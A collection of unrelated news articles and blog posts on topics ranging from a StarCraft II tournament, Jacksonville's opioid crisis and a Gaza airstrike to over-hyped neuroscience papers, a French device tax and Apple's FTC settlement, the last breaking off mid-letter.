-Whomever coined the classic boxing adage "Styles make fights" would have loved to watch last weekend's upset-filled MLG Dallas Starcraft II tournament. Read on for the results, an explanation of "micro" and "macro", and a lesson in swagger from the Street Fighter competitive scene.  Plenty of upsets at MLG Dallas  The $6,250 prize must have lured a few top players all the way out to Dallas, because out of the top eight seeded players, only one of them (Andrew "drewbie" Mosey) ended up placing in the top eight at all. Instead, both of the previous MLG champions (Chris "HuK" Loranger and Greg "IdrA" Fields) were knocked out in stunning fashion. IdrA was sent to the Loser's Bracket in a close 2-1 set against Team Liquid founder Victor "Nazgul" Goossens, where he subsequently lost to Hyung-Hyun "SeleCT" Ryoo, while HuK lost to his fellow Team Liquid players Jos "Ret" de Kroon and Dario "TheLittleOne" Wunsch.  The finals match was a rather one-sided affair between MSI-sponsored Payam "FNatic.TT1" Togyan and Jonathan "LiquidJinro" Walsh, the latter winning the Protoss vs. Terran series 4-1 by shutting down TT1's relentless Colossus play with plenty of Marines, Marauders, Banshee attacks, and well-timed Raven attacks.  Team Liquid takes it home  Team Liquid was in full effect this weekend, demonstrating why their clan name is practically synonymous with the phrase "professional gamer" as their members took 1st (Jinro), 4th (Tyler), 5th (TheLittleOne), and 7th place (Ret). Not bad, considering this was the first time most of their members had competed in the MLG.  Technical difficulties plague Grand Finals  The spectacular Starcraft II play we saw this weekend was overshadowed only by some unfortunate technical issues that forced the finalists to replay the last finals match. Unlike the original Starcraft, Starcraft II: Wings of Liberty doesn't allow players to play over a LAN connection. Instead, all games have to first connect to Blizzard's Battle.net servers--which means that they're susceptible to the lag and unreliability that comes with an Internet connection.  This has frustrated the hardcore gaming community since Starcraft II's launch--seeing Jinro and TT1 lag out of a game with over $6000 at stake was the pro gaming equivalent of seeing the World Series get rained out, and unlike a baseball game, Starcraft II doesn't let you save and reload a multiplayer game. Instead, the fans waited over an hour for MLG to troubleshoot and repair their Internet connection, and the game had to be restarted from the very beginning.  Explaining the Game: Micro/Macro  Not following the announcers when they refer to a player's "micro" or "macro" skills? We've explained the difference between the two briefly in How To Dominate Starcraft II, but it's worth a quick refresher.  Micro and Macro are shorthand for "micromanagement" and "macromanagement", and they're used to refer to two different skill sets that a player needs to master.  "Micromanagement" refers to a player's ability to maneuver individual units or small groups of units in battle so they can maximize the damage they deal, take and hold an advantageous position, use their individual skills, and minimize the damage they receive.  With solid micro skills, you can win battles you wouldn't normally be able to win. When Nazgul beat IdrA this weekend, he was using the Protoss Stalker's teleport ability ("Blink") to warp his units onto high ground and retreat the damaged units out of combat so they could regenerate their shields.  Macro, meanwhile, refers to a player's ability to build and maintain a strong army by mining resources, quickly spending those resources on units and upgrades, aggressively taking expansions, and building plenty of unit-producing structures so you can quickly replace any units you lose. No matter how well you can micromanage your units, you're probably going to lose to a player who can produce an army that's stronger and larger than yours. Macro players typically favor the later stages of a game--Taylor "PainUser" Parsons, for example, took third place with a style that favored longer, drawn-out games which gave him more time to out-produce his opponent.  Starcraft II: No Swagger Allowed  Despite the high sports drama of a Starcraft II match, the tournaments themselves are usually a relatively tame affair--outside of typing "GG" ("Good Game"), players rarely even make eye contact after a match.  Not so in the competitive Street Fighter II scene, however. The Southern California regional championships were held this weekend, and Japanese player Tokido put on a show for the audience by mimicking his character's finishing move:
-JACKSONVILLE, Fla. - Deadly doses of heroin and other opioids are taking more lives than car accidents in this country. The I-TEAM has uncovered these overdoses are happening all over Jacksonville, too. In fact, the numbers are skyrocketing all over Duval County.  There is a dangerous mix now making matters worse. Heroin and other drugs are being mixed with fentanyl -- a synthetic opioid. Fentanyl is being added because it gives the user a greater high.  It's the same dangerous mix that literally killed a man who was on his way to Jacksonville to get treatment for his long-time addiction.  "I purchased some heroin and it turned out it was fentanyl. I went into the restroom I snorted it up my nose," Alan Lemke told the I-TEAM.  Lemke was at the airport in Kentucky, about to check into his flight for Jacksonville, when he took one last hit before he got clean.  "I walked out to American Airlines counter looked about to check in and the next thing I know I'm on a stretcher. I didn't understand what was going on," he said.  Lemke was dead for 10 minutes -- brought back to life when first responders gave him Narcan and adrenaline to counteract his overdose.  "It was bad. It really scared me. It still scares me now," he said.  UNCUT: Alan Lemke on his addiction, recovery  "There is no illness, no disease -- car accidents, nothing -- that is killing more people from the ages of 25 to 55 years of age in the United States," said Dr. Marcus DeCarvalho, the medical director at Beaches Recovery where Lemke is now getting treatment.  Carvalho says every day, more patients are being saved with the opioid reversal drug, Narcan, also known as Naloxone. It has been a proven lifesaver here in Jacksonville.  On average, every two hours, the Jacksonville Fire Rescue Department gets a call to respond to a heroin or other opioid overdose.  "When we are going to people with needles still in their arms, it's because the drug works that fast. It is absolutely within seconds. Within seconds, it can knock out someone's breathing," explained Lt. Mark Rawley with JFRD.  By the numbers  The Jacksonville Fire and Rescue Department tracks emergency overdose calls. In the last six months of 2016, from September. to December, JFRD took 473 overdose calls.  "Overdoses have increased, they have more than tripled in the past two years. Our call average is increasing on average 12 percent a year, but our overdoses are increasing three-fold," said Rawley.  JFRD says in 2015, they had 2,114 overdose victims. In 2016, that number jumped to 3,411.  While overdose calls are happening all over, here are the top five ZIP codes for those calls in Duval County in the second half of 2016:  32210: 126 calls  32218: 101 calls  32244: 93 calls  32205: 78 calls  32211: 75 calls  Narcan is saving lives, but overdose numbers aren't dropping; they are skyrocketing.  Calls to 911 for overdoses have tripled, and this growing epidemic has reached local government.  "The public awareness is just not there. The people don't know it's all around them," said Jacksonville City Councilman Bill Gulliford.  Those trying to get high on opioids is touching all neighborhoods, transcending race, age and gender. JFRD data shows overdose victims are men, women, white, black, poor, middle class, wealthy, young and old.  Gulliford says more needs to be done, and he's bringing together families, doctors and rescue crews -- even the medical examiner -- all who see the worst of this addiction every single day.  "This is sucking the life out of us," warned the chief medical examiner covering Northeast Florida, Dr. Valerie Rao.  More bodies are arriving at the coroner's office every week from opioid overdoses.  In 2015, there were 201 drug overdose deaths. In 2016, that number more than doubled to 464.  For toxicology alone, the bill to taxpayers is $500,000 a year, and rising. With so many deaths, it's getting difficult to keep up.  "We are overwhelmed. Help us, that's all I'm asking," said Rao. Help us watch your children, your brothers and sisters, your parents. We can all help each other."  In 2016, 90 percent of those who died from an overdose ranged in age from 20 and 60 years old, but most were between the age of 30 and 39.  That's the same age as Alan Lemke's friends. Opioid addiction killed them, too.  "All my friends have overdosed and they are gone. I don't have anybody left. I know a lot of people will hear this and they think he is a drug addict, he is the worst of the worst, but I am not. I came from middle class," said Lemke.  JFRD overdose transports, costs *estimated based on current trends  Rising costs of overdoses  The current price for the Jacksonville Fire and Rescue Department to transport a patient treated as an overdose is $996. In 2015, JFRD transported 1,903 patients treated as overdose costing $1,895,388. In 2016, JFRD transported 3,156 overdose patients costing $3,143,376.  If the trend continues, JFRD is preparing to transport 4,469 overdose patients in 2017, costing $4,451,124.  As for Narcan, from May 2016 to January 2017, a 9-month period, JFRD issued $74,854 in Narcan. The resupply and stocking of new units costs $15,000 a month.  Opioid addiction can happen instantly  Beaches Recovery Medical Director Dr. Marcus DeCarvalho says a person who goes out seeking heroin, can likely be a person who can't get his or her prescription pain killers anymore. They are addicted to their prescribed opioids and have to get that next high.  "Addiction is essentially a highjacking of your brain," he said. "The brain begins to believe it needs those things to survive just like food and sleep."  DeCarvalho says there's documented research that shows just one use can do it.  UNCUT: Dr. DeCarvalho talks about opioid epidemic  "There is a part of your mind saying, 'don't do this,'" said recovering opioid addict Alan Lemke, while the other part of your mind says, "Go get high."  Lemke began smoking and drinking alcohol when he was 10 years old. He says it was to cope with a painful childhood. When he was 24, he had a back injury and a doctor prescribed opioids to kill his pain. Lemke admits he was hooked instantly.  "I'm middle class. I was raised pretty well. My parents were never drug addicts, my sister is not a drug addict or an alcoholic. Everything was really good. Everything was real nice," said Lemke.  He's now 32 years old, and after Lemke nearly lost his life to his habit, he's getting clean at Beaches Recovery under DeCarvalho's care.  "If we don't have more doctors that are going to take the same stance and go after this and educate and not just treat we'll never overcome this. I mean it's huge. The CDC has called this an epidemic worldwide. The CDC is calling this a pandemic," said DeCarvalho. "We use the most opioids in the world."  DeCarvalho says this is a deadly mental illness that requires treatment and physicians need to find a better way to prescribe for pain.  How Narcan works  Narcan has proven over and over it can save the life of an overdosing opioid user.  "The way Narcan works is if there is an opioid in your brain. You've taken so much and you stop breathing and you fall, just like how Alan [Lemke] was in the airport," explained DeCarvalho. "When we deliver the Narcan, it blocks that receptor and then it competes with the opioid in there and pulls it right out. So literally, what should happen with an opioid is that the patient should just wake up."  Because it is so effective in saving lives, first responders carry doses of the so-called antidote with them. And, if someone is overdosing with fentanyl in the mix, paramedics know they may have to use more than one dose of Narcan to help them survive. Fentanyl is that strong.  "If you overdose on fentanyl, and I give you Narcan, it's not even going to work. I have to hook you up to an IV bag of Narcan in order for it to work," explained DeCarvalho.  He says even more Narcan is being used on the spot, because doctors and first responders are seeing drugs laced with fentanyl  "I am going to assume he overdosed on fentanyl. That should be the assumption because that's where we are today," added DeCarvalho.  Opioid overdoses  JFRD says this is what happens step-by-step during an opioid overdose:  Person feels elation, deep relaxation and sleepiness Opioids attack receptors that control breathing Breathing slows or stops Oxygen can't get to the brain Heart stops Unconscious, coma, death OR long-term brain, nerve or physical damage  JFRD says these are the signs and symptoms to look for in a person who has overdosed on opioids:  Unable to respond or unconscious  Awake but with slowed or slurred speech  Pinpoint pupils (miosis)  Blue skin tinge: Usually lips and fingertips show first  Body limp and doesn't respond to stimulation  Face very pale  Pulse (heartbeat) is slow, erratic, or not there at all  May be vomiting  Passing in and out of consciousness  Choking sounds or a gurgling, snoring noise heard  Breathing is very slow, irregular, or has stopped  JFRD has assigned an individual to track the overdose data on a monthly basis and is assisting other agencies with the same. It is also collaborating with area agencies and nonprofits on task forces and attending community forums to aid in education and awareness of this growing problem.  However, JFRD says it is limited in its ability to decrease the growing incidence of overdoses as it is primarily an emergency response entity. While its paramedics are saving lives, JFRD says it is also only buying time.  If you or someone you know is battling addiction. LSF Health Systems Inc. is a program that refers patients to a treatment facility. You can call 877-229-9098 24 hours a day for help.  Copyright 2017 by WJXT News4Jax - All rights reserved.
-Nine young Palestinians were killed and 15 others injured in an overnight Israeli air raid on a Gaza Strip beach while watching the World Cup semifinal game between the Netherlands and Argentina.  Follow RT's Live Updates on Israel-Gaza airstrikes here  The victims were sitting in a beach café in Khan Yunis when the Israeli F-16 fighter jet struck it.  None of those killed had been warned, according to Gulf News sources. However, this information could not be independently verified.  After the strike, there was nothing left of the popular seaside café.  "It was a normal social occasion," a local policeman employed by the Palestinian Authority, Wael Soboh, told AFP. "The boys ate their Ramadan iftar meal here, and then began watching the match. It is not a military area.”  Gaza death toll over 80 as third day of Israel offensive continues  Eight of the victims were killed immediately, according to medical sources. The ninth body was initially suspected to be buried in the sand. However, Gaza's emergency services later said it had located the body.  The majority of those killed in the strike were in their 20s, residents said. Three of them – Ahmed, Suleiman, and Mussa Astal – were extended family members.  In a separate strike on Khan Yunis early Thursday morning, eight members of one family – including five children – were killed in an airstrike. Khan Yunis is located in the south of the Gaza Strip.  The Palestinian death toll rose to 88 as Israel's Operation Protective Edge continued for the third day, according to the UN. At least 18 children have been killed in the Gaza Strip since the operation began. A further 339 people have been injured, many of them civilians.
-A referendum on a united Ireland is inevitable following the Brexit vote, the author of a report by an Irish parliamentary committee says.  The study urges both Dublin and London not to repeat the fallout from Britain’s EU referendum by failing to prepare for the possibility it will lead to Irish reunification.  Mark Daly, the Fianna Fáil Senator, who compiled the report, said: “Last year, our former Taoiseach, Enda Kenny, said the EU needs to prepare for a united Ireland.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  “And it's clear from the 17 recommendations by the committee that a lot of work needs to be done in advance of a referendum.”  Mr Daly added: “From talking to people in both communities in the North, it is clear that everybody believes that at some stage there will be a referendum.  “But we must learn the lesson from Brexit and the lesson from Brexit is that you don't have a referendum and then tell people what the future will look like.  “What you do is you lay out the future in great detail, you talk about the issues of great concern to all communities.”  The report – entitled Brexit and the Future of Ireland: Uniting Ireland and its People in Peace and Prosperity – sets out detailed options for the island of Ireland in the wake of Brexit.  It calls on the Republic, in the final Brexit agreement between the EU and the UK, to demand a “special status” for Northern Ireland and that there should be no new passport controls.  Published by the Joint Oireachtas Committee on the Implementation of the Good Friday Agreement, the report also emphasises the need to protect EU structural funds in Northern Ireland, after Brexit.  Last year, Northern Ireland broke with England by voting against Brexit, by 56 per cent to 44 per cent.  Since then, the issue of the Irish border has emerged as crucial in the exit negotiations, with Brussels insisting progress is a red line before trade talks can begin.  The Irish government declared it wants special status for Northern Ireland after Brexit, rejecting Britain’s suggestion that better technology can police trade between North and South after 2019.  Meanwhile, under the terms of the Good Friday Agreement, the UK Government is legally obliged to hold a referendum on Irish reunification if polls show support for one.  Furthermore, ministers have acknowledged that Northern Ireland, if it backed reunification, would be able to rejoin the EU as part of a united Ireland with the Republic.  Unlike Scotland, which has been told it would have to reapply for membership of the bloc if it ever backed independence, the North would automatically be part of the EU.  “Northern Ireland would be in a position of becoming part of an existing EU member state, rather than seeking to join the EU as a new independent state,” Brexit Secretary David Davis wrote, earlier this year.  It is thought to be the first report by an Irish Government, department or parliamentary committee into achieving Irish unity for more than 30 years.  One opinion poll suggested that voters in the Republic overwhelmingly back reunification, putting support at 79 per cent.  However, a BBC poll, in September last year, found 63 per cent of people in Northern Ireland supported staying in the UK, with only 22 per cent backing a united Ireland  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now.
-In the course of thinking about metrics, I keep coming across cases of over-promoted research. An early case was “Why honey isn’t a wonder cough cure: more academic spin“. More recently, I noticed these examples.  “Effect of Vitamin E and Memantine on Functional Decline in Alzheimer Disease".(Spoiler -very little), published in the Journal of the American Medical Association. ”  and ” Primary Prevention of Cardiovascular Disease with a Mediterranean Diet” , in the New England Journal of Medicine (which had second highest altmetric score in 2013)  and "Sleep Drives Metabolite Clearance from the Adult Brain", published in Science  In all these cases, misleading press releases were issued by the journals themselves and by the universities. These were copied out by hard-pressed journalists and made headlines that were certainly not merited by the work. In the last three cases, hyped up tweets came from the journals. The responsibility for this hype must eventually rest with the authors. The last two papers came second and fourth in the list of highest altmetric scores for 2013  Here are to two more very recent examples. It seems that every time I check a highly tweeted paper, it turns out that it is very second rate. Both papers involve fMRI imaging, and since the infamous dead salmon paper, I’ve been a bit sceptical about them. But that is irrelevant to what follows.  Boost your memory with electricity  That was a popular headline at the end of August. It referred to a paper in Science magazine:  “Targeted enhancement of cortical-hippocampal brain networks and associative memory” (Wang, JX et al, Science, 29 August, 2014)  This study was promoted by the Northwestern University "Electric current to brain boosts memory". And Science tweeted along the same lines.  Science‘s link did not lead to the paper, but rather to a puff piece, " Rebooting memory with magnets ". Again all the emphasis was on memory, with the usual entirely speculative stuff about helping Alzheimer’s disease. But the paper itself was behind Science‘s paywall. You couldn’t read it unless your employer subscribed to Science.  All the publicity led to much retweeting and a big altmetrics score. Given that the paper was not open access, it’s likely that most of the retweeters had not actually read the paper.  When you read the paper, you found that is mostly not about memory at all. It was mostly about fMRI. In fact the only reference to memory was in a subsection of Figure 4. This is the evidence.  That looks desperately unconvincing to me. The test of significance gives P = 0.043. In an underpowered study like this, the chance of this being a false discovery is probably at least 50%. A result like this means, at most, "worth another look". It does not begin to justify all the hype that surrounded the paper. The journal, the university’s PR department, and ultimately the authors, must bear the responsibility for the unjustified claims.  Science does not allow online comments following the paper, but there are now plenty of sites that do. NHS Choices did a fairly good job of putting the paper into perspective, though they failed to notice the statistical weakness. A commenter on PubPeer noted that Science had recently announced that it would tighten statistical standards. In this case, they failed. The age of post-publication peer review is already reaching maturity  Boost your memory with cocoa  Another glamour journal, Nature Neuroscience, hit the headlines on October 26, 2014, in a paper that was publicised in a Nature podcast and a rather uninformative press release.  "Enhancing dentate gyrus function with dietary flavanols improves cognition in older adults. Brickman et al., Nat Neurosci. 2014. doi: 10.1038/nn.3850.".  The journal helpfully lists no fewer that 89 news items related to this study. Mostly they were something like “Drinking cocoa could improve your memory” (Kat Lay, in The Times). Only a handful of the 89 reports spotted the many problems.  A puff piece from Columbia University’s PR department quoted the senior author, Dr Small, making the dramatic claim that  “If a participant had the memory of a typical 60-year-old at the beginning of the study, after three months that person on average had the memory of a typical 30- or 40-year-old.”  Like anything to do with diet, the paper immediately got circulated on Twitter. No doubt most of the people who retweeted the message had not read the (paywalled) paper. The links almost all led to inaccurate press accounts, not to the paper itself.  But some people actually read the paywalled paper and post-publication review soon kicked in. Pubmed Commons is a good site for that, because Pubmed is where a lot of people go for references. Hilda Bastian kicked off the comments there (her comment was picked out by Retraction Watch). Her conclusion was this.  "It’s good to see claims about dietary supplements tested. However, the results here rely on a chain of yet-to-be-validated assumptions that are still weakly supported at each point. In my opinion, the immodest title of this paper is not supported by its contents."  (Hilda Bastian runs the Statistically Funny blog -“The comedic possibilities of clinical epidemiology are known to be limitless”, and also a Scientific American blog about risk, Absolutely Maybe.)  NHS Choices spotted most of the problems too, in "A mug of cocoa is not a cure for memory problems". And so did Ian Musgrave of the University of Adelaide who wrote "Most Disappointing Headline Ever (No, Chocolate Will Not Improve Your Memory)",  Here are some of the many problems.  The paper was not about cocoa. Drinks containing 900 mg cocoa flavanols (as much as in about 25 chocolate bars) and 138 mg of (−)-epicatechin were compared with much lower amounts of these compounds  The abstract, all that most people could read, said that subjects were given "high or low cocoa–containing diet for 3 months". Bit it wasn’t a test of cocoa: it was a test of a dietary "supplement".  The sample was small (37ppeople altogether, split between four groups), and therefore under-powered for detection of the small effect that was expected (and observed)  The authors declared the result to be "significant" but you had to hunt through the paper to discover that this meant P = 0.04 (hint -it’s 6 lines above Table 1). That means that there is around a 50% chance that it’s a false discovery.  The test was short -only three months  The test didn’t measure memory anyway. It measured reaction speed, They did test memory retention too, and there was no detectable improvement. This was not mentioned in the abstract, Neither was the fact that exercise had no detectable effect.  The study was funded by the Mars bar company. They, like many others, are clearly looking for a niche in the huge "supplement" market,  The claims by the senior author, in a Columbia promotional video that the drink produced "an improvement in memory" and "an improvement in memory performance by two or three decades" seem to have a very thin basis indeed. As has the statement that "we don’t need a pharmaceutical agent" to ameliorate a natural process (aging). High doses of supplements are pharmaceutical agents.  To be fair, the senior author did say, in the Columbia press release, that "the findings need to be replicated in a larger study—which he and his team plan to do". But there is no hint of this in the paper itself, or in the title of the press release "Dietary Flavanols Reverse Age-Related Memory Decline". The time for all the publicity is surely after a well-powered study, not before it.  The high altmetrics score for this paper is yet another blow to the reputation of altmetrics.  One may well ask why Nature Neuroscience and the Columbia press office allowed such extravagant claims to be made on such a flimsy basis.  What’s going wrong?  These two papers have much in common. Elaborate imaging studies are accompanied by poor functional tests. All the hype focusses on the latter. These led me to the speculation ( In Pubmed Commons) that what actually happens is as follows.  Authors do big imaging (fMRI) study. Glamour journal says coloured blobs are no longer enough and refuses to publish without functional information. Authors tag on a small human study. Paper gets published. Hyped up press releases issued that refer mostly to the add on. Journal and authors are happy. But science is not advanced.  It’s no wonder that Dorothy Bishop wrote "High-impact journals: where newsworthiness trumps methodology".  It’s time we forgot glamour journals. Publish open access on the web with open comments. Post-publication peer review is working  But boycott commercial publishers who charge large amounts for open access. It shouldn’t cost more than about £200, and more and more are essentially free (my latest will appear shortly in Royal Society Open Science).  Follow-up  Hilda Bastian has an excellent post about the dangers of reading only the abstract "Science in the Abstract: Don’t Judge a Study by its Cover"  4 November 2014  I was upbraided on Twitter by Euan Adie, founder of Almetric.com, because I didn’t click through the altmetric symbol to look at the citations "shouldn’t have to tell you to look at the underlying data David" and "you could have saved a lot of Google time". But when I did do that, all I found was a list of media reports and blogs -pretty much the same as Nature Neuroscience provides itself.  More interesting, I found that my blog wasn’t listed and neither was PubMed Commons. When I asked why, I was told "needs to regularly cite primary research. PubMed, PMC or repository links”. But this paper is behind a paywall. So I provide (possibly illegally) a copy of it, so anyone can verify my comments. The result is that altmetric’s dumb algorithms ignore it. In order to get counted you have to provide links that lead nowhere.  So here’s a link to the abstract (only) in Pubmed for the Science paper http://www.ncbi.nlm.nih.gov/pubmed/25170153 and here’s the link for the Nature Neuroscience paper http://www.ncbi.nlm.nih.gov/pubmed/25344629  It seems that altmetrics doesn’t even do the job that it claims to do very efficiently.  It worked. By later in the day, this blog was listed in both Nature‘s metrics section and by altmetrics. com. But comments on Pubmed Commons were still missing, That’s bad because it’s an excellent place for post-publications peer review.
-Teresa Giudice net worth: Teresa Giudice is a reality television star and author who has a net worth of of -$11 million. Teresa Giudice and her husband Joe are cast members on the Bravo reality show The Real Housewives of New Jersey and have been since the beginning. She was born Teresa Gorga in Paterson, New Jersey in 1972 to parents who are Italian immigrants. She has one brother, Joe Gorga, who's wife, Melissa, is also a cast member of The Real Housewives of New Jersey. Teresa Giudice attended Berkeley College, where she majored in Fashion Marketing and Management and after leaving college, held the position as a contributor to Vogue Magazine; she also worked for Macys as an accessories buyer. In addition to the Real Housewives, Teresa Guidice has appeared on shows like Live With Regis and Kelly, TheToday Show, Rachael Ray, Who Wants to be a Millionaire, and more. She has appeared on the cover of Life & Style, U.S. Weekly, People and OK Magazine. She periodically blogs for the websites of People.com and Bravotv.com, and has released four cookbooks called Skinny Italian, Fabulicious!, Fabulicious Fast & Fit, and Fabulicious! On the Grill. Teresa has also established her own jewelry line, as well as her fashion and accessories line called TG Fabulicious. She produces everything from flowered hairbows to baseball caps, designed for young girls and women. There are screen printed T-shirts with expressions such as, "Happy Wife, Happy Life" and "Delicious." Her jewelry consists of bracelets, which she has named after each of her daughters, Audriana, (2009), Milania (2005), Gabriella (2004), and Gia (2001). She also showcased her business savvy while starring on Celebrity Apprentice in 2012, where she raised $70k for the charity, NephCure.  In 2011, Joe and Teresa filed for bankruptcy. In their filing they claimed to be more than $11 million in debt. They were forced to auction many of their household items and put their mansion up for sale. On July 30, 2013, both Joe and Teresa Giudice were indicted with 39 counts of conspiracy to commit mail fraud, bank fraud, wire fraud, bankruptcy fraud and making false statements on loan applications. Both Teresa and Joe face a maximum of 50 years in jail and Joe, who is not a US citizen, could be deported back to Italy. In the indictment, the government claims Joe and Teresa overstated their incomes to receive roughly $4.6 million in mortgages and lines of credit. They allegedly then under-stated their income and net worth while filing for bankruptcy protection. Teresa Giudice served her prison sentence at Danbury Correctional Facility for women.
-Pinot points out his future crappy day  The French climber, who has had several bad days in the last two Tours, pointed to stage five as his most likely drop down and out of the GC ranking.  The stage from Vittel to the summit finish at La Planche Des Belles Filles is a short but nasty test. It is only 5.9km in length but it kicks fast and hard with a 10% grade that jumps to 14% at the top.  In the 2016 Tour de France, Pinot lost three minutes on stage seven as he struggled up the first major climb of the race, the Col d’Aspin  In the first week of the 2015 Tour, Pinot lost 3:23 on stage four’s cobblestone run from Seraing to Cambrai. In that case it was a mechanical issue but he’s already lost almost three minutes in the previous stages.  By signaling what he sees as his likely Jour Sans, Pinot and his Francaise Des Jeux squad have nine months to work out a strategy to avoid the future meltdown.  “Jerome saw the big yellow map of France. He knew there was going to be a problem somewhere in those mountains,” said team boss Madiot. “Now we see it is La Planche des Belles Filles. I will be in the car behind him yelling extra loud.”  Pinot’s surprise announcement of his potential failure on stage five was seen by many as a sign of maturity. “He stood up in front of Froome and Nibali and Quintana and said, ‘Here is where I will fall apart. Here is where I crash and burn,’” said Lucien Lamaire, a performance director at FDJ. “That is a mark of confidence. He knows what he needs to do and where.”  While Pinot did pinpoint the exact stage for his jour sans, he was unable to predict how much time he would lose. “It could be two minutes, it could be ten, one never knows with Pinot,” said Madiot. “Maybe he should ride the Giro d’Italia after all.
-Father in Turkey’s remote southeast makes model Bosphorus Bridge for curious daughter  HAKKARİ  A father in the southeastern province of Hakkari who could not afford to take his daughter to Istanbul has made a makeshift model of the city’s Bosphorus Bridge for the girl, who has long wanted to see it.Aydın Güder, who lives with his family in the Yüksekova district of Hakkari, built a miniature replica of the Bosphorus Bridge using curtain materials and umbrellas for his daughter Yağmur, also adding lighting and seagull sounds to make the model more realistic.“I cannot take her to Istanbul due to financial difficulties. So I made a model of the Bosphorus Bridge for her, because she said me she wanted to see the bridge and hear the voices of seagulls. It took two-and-a-half days to complete, and it is two meters and ten centimeters long,” Güder said.After news of the model was reported, the Youth and Sports Ministry issued a statement on June 18 saying it would sponsor a trip to bring Yağmur and her classmates to Istanbul, state-run Anadolu Agency has reported.
-Even as China cuts access to some foreign online services, it is laying more fiber optic cables to improve its connection to global Internet networks.  China recently added seven new access points to the world’s Internet backbone, adding to the three points that connect through Beijing, Shanghai, and Guangzhou, the country’s Ministry of Industry and Information Technology announced on Monday.  To expand its Internet backbone networks, China laid over 3,000 kilometers worth of fiber optic cable, and invested 2.9 billion yuan (US$477 million) in its construction. Driving the project were the country’s three state-owned telecom operators, which provide most of China’s Internet broadband.  The additional Internet infrastructure will help accelerate access speeds across the country, and ensure China’s Internet stays functional, the ministry added.  Before, “a failure at one access point could easily cause a large-scale paralysis,” the ministry said. This happened in late 2006 when an earthquake damaged undersea cables, and temporarily cut some of China’s access to international websites.  “Now by having 10 different backbone access points, the traffic going through Beijing, Shanghai and Guangzhou will lessen, and the Internet flow overall will be more balanced,” the ministry said.  The additional access points were built in seven separate cities, most of which are more inland, such as Chengdu, Xi’an and Zhengzhou.  Tests of the new Internet infrastructure showed website loading times cut by half or more, according to the ministry.  The country has the world’s largest online population, at over 600 million users, and domestic Internet companies such as Alibaba Group, Baidu and Tencent are all expanding their services outside China.  But last year, China’s Internet censorship rose to new levels, with the blocking of more foreign Internet services. In late December, the country cut all access to Google’s Gmail service, after blocking Facebook’s Instagram app, and the phone messaging app Line.
-Image caption The French government says makers of tablets and smartphones currently "contribute nothing" to financially support digital content  The French government is considering introducing a 1% tax on the sale of smartphones and tablets to help fund French film, music and images.  The proposal estimates some 86m euros (£73m) could be raised per year.  The bid is based on France's so-called "cultural exception" policy, which aims to protect culture from market forces and foreign competition.  Broadcasters already pay fees to fund cultural projects but firms like Google and Apple are currently exempt.  The proposal was released as part of a government-funded report specifically examining the rise of digital content.  'Battle for France'  The study, led by the former CEO of French pay-TV channel Canal Plus, Pierre Lescure, proposed a total of 75 measures to "protect the cultural exception in the face of digital innovation".  The report said taxing internet devices could help fund culture because consumers were spending more money on hardware than on content.  "Today we have extremely sophisticated technological equipment that is extremely expensive to buy, but which contributes nothing to the financing of the works that circulate on that same equipment," Culture Minister Aurelie Filipetti said following the release of the report.  "Companies that make these tablets must, in a minor way, be made to contribute part of the revenue from their sales to help creators."  She added that the cultural exception remained "a battle for France".  Lawmakers will spend the summer reviewing legislation based on the report's recommendations.  The "culture tax" was likely to be included in a budget law to be submitted to parliament in November, Ms Filipetti said.  Last year, France became embroiled in a row with Google over government plans to tax the company's revenue made from posting ads alongside online search results.  The dispute was settled in February after Google agreed to create a 60m euro fund to help French media organisations improve their internet operations.  The cultural exception policy, introduced in France in 1993, asserts that cultural goods are to be treated differently from other commercial goods.  In particular, it is aimed at shielding French culture from the spread of US films.
-Apple CEO Tim Cook. Justin Sullivan/Getty Images Apple reached a settlement with the FTC today regarding in-app purchases in its App Store for iPhones and iPads. It will refund $32.5 million to customers.  The settlement comes because the FTC found it was easy for younger users to make in-app purchases without their parents' permission.  In a leaked memo to Apple employees, Apple CEO Tim Cook says it was easy for some younger users to get their parents' devices and make purchases if their parents entered their iTunes passwords within 15 minutes.  The 15 minute window has always been a part of the App Store as a way to make it less of a hassle to enter your password every time you want to buy an app.  The FTC will also require Apple to change its App Store billing practices to make it clear when users are about to be charged for an in-app purchase, meaning it will have to tell users about that 15-minute window.  Cook writes that Apple refunded in-app purchases to customers it believed were affected by this method. It emailed 28 million customers and ended up refunding the 37,000 claims it received.  Here's Cook's letter, which was obtained by 9to5Mac:  Team,  I want to let you know that Apple has entered into a consent decree with the U.S. Federal Trade Commission. We have been negotiating with the FTC for several months over disclosures about the in-app purchase feature of the App Store, because younger customers have sometimes been able to make purchases without their parents' consent. I know this announcement will come as a surprise to many of you since Apple has led the industry by making the App Store a safe place for customers of all ages.  From the very beginning, protecting children has been a top priority for the App Store team and everyone at Apple. The store is thoughtfully curated, and we hold app developers to Apple's own high standards of security, privacy, usefulness and decency, among others. The parental controls in iOS are strong, intuitive and customizable, and we've continued to add ways for parents to protect their children. These controls go far beyond the features of other mobile device and OS makers, most of whom don't even review the apps they sell to children.  When we introduced in-app purchases in 2009, we proactively offered parents a way to disable the function with a single switch. When in-app purchases were enabled and a password was entered to download an app, the App Store allowed purchases for 15 minutes without requiring a password. The 15-minute window had been there since the launch of the App Store in 2008 and was aimed at making the App Store easy to use, but some younger customers discovered that it also allowed them to make in-app purchases without a parent's approval.  We heard from some customers with children that it was too easy to make in-app purchases, so we moved quickly to make improvements. We even created additional steps in the purchasing process, because these steps are so helpful to parents.  Last year, we set out to refund any in-app purchase which may have been made without a parent's permission. We wanted to reach every customer who might have been affected, so we sent emails to 28 million App Store customers - anyone who had made an in-app purchase in a game designed for kids. When some emails bounced, we mailed the parents postcards. In all, we received 37,000 claims and we will be reimbursing each one as promised.  A federal judge agreed with our actions as a full settlement and we felt we had made things right for everyone. Then, the FTC got involved and we faced the prospect of a second lawsuit over the very same issue.  It doesn't feel right for the FTC to sue over a case that had already been settled. To us, it smacked of double jeopardy. However, the consent decree the FTC proposed does not require us to do anything we weren't already going to do, so we decided to accept it rather than take on a long and distracting legal fight.  The App Store is one of Apple's most important innovations, and it's wildly popular with our customers around the world because they know they can trust Apple. You and your coworkers have helped Apple earn that trust, which we value and respect above all else.  Apple is a company full of disruptive ideas and innovative people, who are also committed to upholding the highest moral, legal and ethical standards in everything we do. As I've said before, we believe technology can serve humankind's deepest values and highest aspirations. As Apple continues to grow, there will inevitably be scrutiny and criticism 